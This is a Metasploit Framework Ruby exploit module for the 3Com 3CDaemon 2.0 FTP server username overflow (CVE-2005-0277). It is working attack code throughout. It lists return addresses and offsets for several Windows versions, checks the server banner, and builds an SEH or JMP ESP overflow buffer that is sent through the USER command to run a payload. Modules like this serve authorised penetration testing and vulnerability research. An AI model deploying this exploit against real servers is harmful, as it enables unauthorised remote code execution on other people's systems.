##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the 3Com 3CDaemon
				FTP service. This package is being distributed from the 3Com
				web site and is recommended in numerous support documents.
				This module uses the USER command to trigger the overflow.
			},
			'Author'         =>
				[
					'hdm',       # Original author
					'otr'        # Windows XP SP3
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2005-0277'],
					[ 'OSVDB', '12810'],
					[ 'OSVDB', '12811'],
					[ 'BID', '12155'],
					[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'target' => 0
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 674,
					'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}
				},
			'Targets'        =>
				[
					[
						'Windows 2000 English', # Tested OK - hdm 11/24/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x75022ac4, # ws2help.dll
							'Offset'   => 229,
						},
					],
					[
						'Windows XP English SP0/SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x71aa32ad, # ws2help.dll
							'Offset'   => 229,
						},
					],
					[
						'Windows NT 4.0 SP4/SP5/SP6',
						{
							'Platform' => 'win',
							'Ret'      => 0x77681799, # ws2help.dll
							'Offset'   => 229,
						},
					],
					[
						'Windows 2000 Pro SP4 French',
						{
							'Platform' => 'win',
							'Ret' => 0x775F29D0,
							'Offset'   => 229,
						},
					],
					[
						'Windows XP English SP3',
						{
							'Platform' => 'win',
							'Ret'      => 0x7CBD41FB,   # 7CBD41FB JMP ESP shell32.data SP3
							#'Ret'      => 0x775C2C1F,   # 775C2C1F JMP ESP shell32.data SP1
							'Offset'   => 245,
						},
					],
				],
			'DisclosureDate' => 'Jan 4 2005'))
	end

	def check
		connect
		disconnect
		if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		if (target == targets[4])
			buf = rand_text_english(target['Offset'], payload_badchars)
			buf << [ target['Ret'] ].pack('V') * 2
			buf << payload.encoded
		else
			buf = rand_text_english(2048, payload_badchars)
			seh = generate_seh_payload(target.ret)
			buf[target['Offset'], seh.length] = seh
		end

		send_cmd( ['USER', buf] , false )

		handler
		disconnect
	end

end
